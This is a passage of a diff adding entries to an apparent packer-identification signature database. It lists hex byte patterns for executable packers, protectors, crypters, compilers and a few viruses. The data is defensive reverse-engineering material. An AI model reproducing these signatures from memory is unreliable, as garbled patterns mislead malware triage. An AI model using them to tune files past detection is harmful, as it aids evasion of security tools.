- v2.3] +signature = 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD +ep_only = true + +[PEBundle v2.44] +signature = 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD +ep_only = true + +[PEBundle v3.10] +signature = 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01 +ep_only = false + +[PeCompact 2.xx (Slim Loader) --> BitSum Technologies] +signature = B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 +ep_only = true + +[PECompact v1.4x+] +signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 +ep_only = true + +[PECompact v2.0 beta -> Jeremy Collake] +signature = B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90 +ep_only = true + +[PECompact v2.5 Retail (Slim Loader) -> Bitsum Technologies] +signature = B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00 +ep_only = true + +[PECompact V2.X-> Bitsum Technologies] +signature = B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 +ep_only = true + +[PECompact v2.xx] +signature = B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 +ep_only = false + +[PECrc32 0.88 -> ZhouJinYu] +signature = 60 E8 00 00 00 00 5D 81 ED B6 A4 45 00 8D BD B0 A4 45 00 81 EF 82 00 00 00 +ep_only = true + +[PEMangle] +signature = 60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3 +ep_only = true + +[PEncrypt v1.0] +signature = 60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 +ep_only = true + +[PENightMare 2 Beta] +signature = 60 E9 ?? ?? ?? ?? EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A +ep_only = true + +[PESpin v0.3 (Eng) -> cyberbob] +signature = EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 +ep_only = true + +[PEtite v1.4] +signature = ?? ?? ?? ?? ?? 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC +ep_only = true + +[PEtite v2.0] +signature = B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68 +ep_only = true + +[PeX 0.99 -> bart^CrackPl] +signature = E9 F5 ?? ?? ?? 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 +ep_only = true + +[PKLITE v1.50 (Device driver compression)] +signature = B4 09 BA 14 01 CD 21 B8 00 4C CD 21 F8 9C 50 53 51 52 56 57 55 1E 06 BB +ep_only = true + +[PKLITE v2.00b] +signature = 50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 59 2D ?? ?? 8E D0 51 2D ?? ?? 8E C0 50 B9 +ep_only = true + +[PKLITE v2.00b [extra]] +signature = 50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 02 00 72 ?? B4 09 BA ?? ?? CD 21 B8 01 4C CD 21 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EA ?? ?? ?? ?? F3 A5 C3 59 2D ?? ?? 8E D0 51 2D ?? ?? 50 80 +ep_only = true + +[PKLITE32 v1.1] +signature = 55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10 +ep_only = true + +[Pksmart 1.0b] +signature = BA ?? ?? 8C C8 8B C8 03 C2 81 ?? ?? ?? 51 B9 ?? ?? 51 1E 8C D3 +ep_only = true + +[PMODE/W v.1.12, 1.16, 1.21, 1.33 DOS extender] +signature = FC 16 07 BF ?? ?? 8B F7 57 B9 ?? ?? F3 A5 06 1E 07 1F 5F BE ?? ?? 06 0E A4 +ep_only = true + +[PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-signed)] +signature = 50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45 +ep_only = false + +[PolyCryptor by SMT Version %v3.%v4] +signature = EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29 +ep_only = true + +[PowerBASIC/CC 3.0x] +signature = 55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? ?? 00 04 00 0F 85 +ep_only = true + +[PowerBASIC/Win 7.0x] +signature = 55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 0F 85 DB 00 00 00 +ep_only = true + +[Private exe Protector V2.0 -> SetiSoft Team] +signature = 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 +ep_only = false + +[PRO-PACK v2.08] +signature = 8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53 +ep_only = true + +[Program Protector XP v1.0] +signature = E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50 +ep_only = true + +[Protection Plus vx.x] +signature = 50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85 +ep_only = true + +[PseudoSigner 0.2 [.BJFNT 1.1b] --> Anorganix] +signature = EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90 +ep_only = true + +[PseudoSigner 0.2 [.BJFNT 1.2] --> Anorganix] +signature = EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00 +ep_only = true + +[PseudoSigner 0.2 [ASProtect] --> Anorganix] +signature = 60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD +ep_only = true + +[PseudoSigner 0.2 [Borland C++ 1999] --> Anorganix] +signature = EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90 A1 ?? ?? ?? ?? A3 +ep_only = true + +[PseudoSigner 0.2 [Borland Delphi DLL] --> Anorganix] +signature = 55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00 +ep_only = true + +[PseudoSigner 0.2 [Borland Delphi Setup Module] --> Anorganix] +signature = 55 8B EC 83 C4 90 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8 00 00 00 00 +ep_only = true + +[PseudoSigner 0.2 [Code-Lock] --> Anorganix] +signature = 43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B +ep_only = true + +[PseudoSigner 0.2 [Crunch/PE Heuristic] --> Anorganix] +signature = 55 E8 0E 00 00 00 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 00 00 00 00 +ep_only = true + +[PseudoSigner 0.2 [FSG 1.31] --> Anorganix] +signature = BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 +ep_only = true + +[PseudoSigner 0.2 [LCC Win32 1.x] --> Anorganix] +signature = 64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 +ep_only = true + +[PseudoSigner 0.2 [LCC Win32 DLL] --> Anorganix] +signature = 55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 +ep_only = true + +[PseudoSigner 0.2 [Lockless Intro Pack] --> Anorganix] +signature = 2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD +ep_only = true + +[PseudoSigner 0.2 [Microsoft Visual C++ 7.0 DLL] --> Anorganix] +signature = 55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84 +ep_only = true + +[PseudoSigner 0.2 [NorthStar PE Shrinker 1.3] --> Anorganix] +signature = 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 +ep_only = true + +[PseudoSigner 0.2 [PE Intro 1.0] --> Anorganix] +signature = 8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A +ep_only = true + +[PseudoSigner 0.2 [PE Pack 0.99] --> Anorganix] +signature = 60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A +ep_only = true + +[PseudoSigner 0.2 [PE Protect 0.9] --> Anorganix] +signature = 52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 +ep_only = true + +[PseudoSigner 0.2 [PENightMare 2 Beta] --> Anorganix] +signature = 60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A +ep_only = true + +[PseudoSigner 0.2 [PEX 0.99] --> Anorganix] +signature = 60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 +ep_only = true + +[PseudoSigner 0.2 [REALBasic] --> Anorganix] +signature = 55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 +ep_only = true + +[PseudoSigner 0.2 [UPX 0.6] --> Anorganix] +signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 +ep_only = true + +[PseudoSigner 0.2 [Watcom C/C++ DLL] --> Anorganix] +signature = 53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1 +ep_only = true + +[PUNiSHER V1.5-> FEUERRADER] +signature = 3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 +ep_only = false + +[RatPacker (Glue) stub] +signature = 40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF +ep_only = true + +[RCryptor v1.6x --> Vaska] +signature = 60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3 +ep_only = true + +[RCryptor v1.?? -> Vaska] +signature = 90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 +ep_only = true + +[RLPack -> Ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8D B5 CB 22 00 00 8D 9D F0 02 00 00 33 FF E8 ?? ?? ?? ?? EB 03 ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 9B 0A +ep_only = true + +[RLPack Full Edition 1.17 iBox [aPLib] -> Ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 +ep_only = true + +[RLPack Full Edition 1.17 iBox [LZMA] -> Ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A +ep_only = true + +[RLPack Full Edition 1.17 [aPLib] -> Ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 +ep_only = true + +[RLPack Full Edition 1.17 [LZMA] -> Ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A +ep_only = true + +[RLPack V1.12-V1.14 (LZMA 4.30) -> ap0x] +signature = 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60 +ep_only = true + +[SCRAM! v0.8a1] +signature = B4 30 CD 21 3C 02 77 ?? CD 20 BC ?? ?? B9 ?? ?? 8B FC B2 ?? 58 4C +ep_only = true + +[SCRAM! vC5] +signature = B8 ?? ?? 50 9D 9C 58 25 ?? ?? 75 ?? BA ?? ?? B4 09 CD 21 CD 20 +ep_only = true + +[Sentinel SuperPro (Automatic Protection) v6.4.0 -> Safenet] +signature = 68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 +ep_only = true + +[Sentinel SuperPro (Automatic Protection) v6.4.1 -> Safenet] +signature = A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00 +ep_only = true + +[Shegerd Dongle V4.78 -> MS.Co.] +signature = E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C +ep_only = true + +[ShellModify 0.1 -> pll621] +signature = 55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00 +ep_only = true + +[Shrink v2.0] +signature = E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9 +ep_only = true + +[Shrinker v3.2] +signature = 83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF +ep_only = true + +[Shrinker v3.4] +signature = BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B +ep_only = true + +[Silicon Realms Install Stub] +signature = 55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3 +ep_only = false + +[Simple UPX Cryptor v30.4.2005 [multi layer encryption] --> MANtiCORE] +signature = 60 B8 ?? ?? ?? 00 B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3 +ep_only = true + +[Simple UPX Cryptor v30.4.2005 [One layer encryption] --> MANtiCORE] +signature = 60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3 +ep_only = true + +[SLVc0deProtector 0.60 -> SLV / ICU] +signature = EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD +ep_only = false + +[SoftComp 1.x -> BG Soft PT] +signature = E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00 +ep_only = false + +[Software Compress V1.2 -> BG Software Protect Technologies] +signature = E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 +ep_only = true + +[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven] +signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E +ep_only = true + +[Stone's PE Encryptor v2.0] +signature = 53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83 +ep_only = true + +[SVK-Protector v1.32] +signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 +ep_only = true + +[Symantec C v4.00 + Libraries] +signature = FA B8 ?? ?? DB E3 8E D8 8C 06 ?? ?? 8B D8 2B 1E ?? ?? 89 1E ?? ?? 26 +ep_only = true + +[tElock 0.98 Special Build -> forgot & heXer] +signature = E9 99 D7 FF FF 00 00 00 ?? ?? ?? ?? AA ?? ?? 00 00 00 00 00 00 00 00 00 CA +ep_only = true + +[tElock 0.99 -> tE!] +signature = E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 +ep_only = true + +[tElock v0.98 -> tHE EGOiSTE (h)] +signature = E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 +ep_only = true + +[tElock v0.99] +signature = E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00 +ep_only = true + +[Themida -> Oreans Technologies 2004] +signature = B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 +ep_only = true + +[Themida 1.2.0.1 -> Oreans Technologies (h)] +signature = 8B C5 8B D4 60 E8 00 00 00 00 5D 81 ED ?? ?? 35 09 89 95 ?? ?? 35 09 89 B5 ?? ?? 35 09 89 85 ?? ?? 35 09 83 BD ?? ?? 35 09 00 74 0C 8B E8 8B E2 B8 01 00 00 00 C2 0C 00 8B 44 24 24 89 85 ?? ?? 35 09 6A 45 E8 A3 00 00 00 68 9A 74 83 07 E8 DF 00 00 00 68 25 +ep_only = false + +[Thinstall 2.4x - 2.5x -> Jitit Software] +signature = 55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? BD ?? ?? ?? ?? 03 E8 +ep_only = true + +[TMT-Pascal v0.40] +signature = 0E 1F 06 8C 06 ?? ?? 26 A1 ?? ?? A3 ?? ?? 8E C0 66 33 FF 66 33 C9 +ep_only = true + +[Trivial173 by SMT/SMF] +signature = EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29 +ep_only = true + +[Turbo C 1987] +signature = FB 8C CA 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA +ep_only = true + +[Turbo C or Borland C++] +signature = BA ?? ?? 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA +ep_only = true + +[TXT2COM v2.06] +signature = 8D 26 ?? ?? E8 ?? ?? B8 ?? ?? CD 21 CD 20 54 58 54 32 43 4F 4D 20 +ep_only = true + +[UCEXE v2.3, v2.4] +signature = 50 1E 0E 1F FC 33 F6 E8 ?? ?? 16 07 33 F6 33 FF B9 ?? ?? F3 A5 06 B8 ?? ?? 50 CB +ep_only = true + +[UltraPro V1.0 -> SafeNet] +signature = A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 +ep_only = true + +[unknown -> jac] +signature = 55 89 E5 B9 00 80 00 00 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 31 C2 66 01 C2 C1 C2 07 E2 F1 50 E8 91 FF FF FF C9 C3 +ep_only = true + +[Unknown encryptor (1)] +signature = EB ?? 2E 90 ?? ?? 8C DB 8C CA 8E DA FA 8B EC BE ?? ?? BC ?? ?? BF +ep_only = true + +[Unknown packer (05)] +signature = FA BB ?? ?? B9 ?? ?? 87 E5 87 27 03 E3 91 8A CB 80 E1 ?? D3 C4 91 33 E3 87 27 +ep_only = true + +[Unknown packer (08)] +signature = 8B C4 2D ?? ?? 24 00 8B F8 57 B9 ?? ?? BE ?? ?? F3 A5 FD C3 97 4F 4F +ep_only = true + +[Unpacked BS-SFX Archive v1.9] +signature = 1E 33 C0 50 B8 ?? ?? 8E D8 FA 8E D0 BC ?? ?? FB B8 ?? ?? CD 21 3C 03 73 +ep_only = true + +[Upack 0.12 beta-->Dwing] +signature = BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1 +ep_only = true + +[Upack v0.36 beta -> Dwing] +signature = BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C +ep_only = true + +[UPX 2.90 [LZMA] (Delphi stub) -> Markus Oberhumer, Laszlo Molnar & John Reiser] +signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 +ep_only = true + +[UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser] +signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 ?? ?? ?? ?? 90 90 +ep_only = true + +[UPX v0.60 - v0.61] +signature = 60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 8D B0 E8 +ep_only = true + +[UPX v0.71 - v0.72] +signature = 60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 81 C6 B3 01 ?? ?? EB 0A ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 +ep_only = true + +[UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay]] +signature = 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 EB 0B 90 8A 06 46 88 07 47 01 DB 75 ?? 8B 1E 83 ?? ?? 11 DB 72 ?? B8 01 00 00 00 01 DB 75 +ep_only = true + +[UPX V1.94 -> Markus Oberhumer & Laszlo Molnar & John Reiser] +signature = FF D5 80 A7 ?? ?? ?? ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9 +ep_only = false + +[UPX V2.00-V2.90 -> Markus Oberhumer & Laszlo Molnar & John Reiser] +signature = FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9 +ep_only = false + +[UPX-Shit v0.1 -> 500mhz] +signature = E8 ?? ?? ?? ?? 5E 83 C6 ?? AD 89 C7 AD 89 C1 AD 30 07 47 E2 ?? AD FF E0 C3 +ep_only = true + +[UPXcrypter -> archphase/NWC] +signature = BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00 +ep_only = true + +[UPXFreak v0.1 (Borland Delphi) -> HMX0101] +signature = BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 +ep_only = true + +[UPXShit 0.06] +signature = B8 ?? ?? 43 00 B9 15 00 00 00 80 34 08 ?? E2 FA E9 D6 FF FF FF +ep_only = true + +[VBOX v4.3 - v4.6] +signature = 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 +ep_only = false + +[Video-Lan-Client -> (UnknownCompiler)] +signature = 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 +ep_only = true + +[VMProtect 0.7x - 0.8 -> PolyTech] +signature = 5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D +ep_only = false + +[Vx: ACME (Clonewar Mutant)] +signature = FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE +ep_only = true + +[Vx: ARCV.4] +signature = E8 00 00 5D 81 ED 06 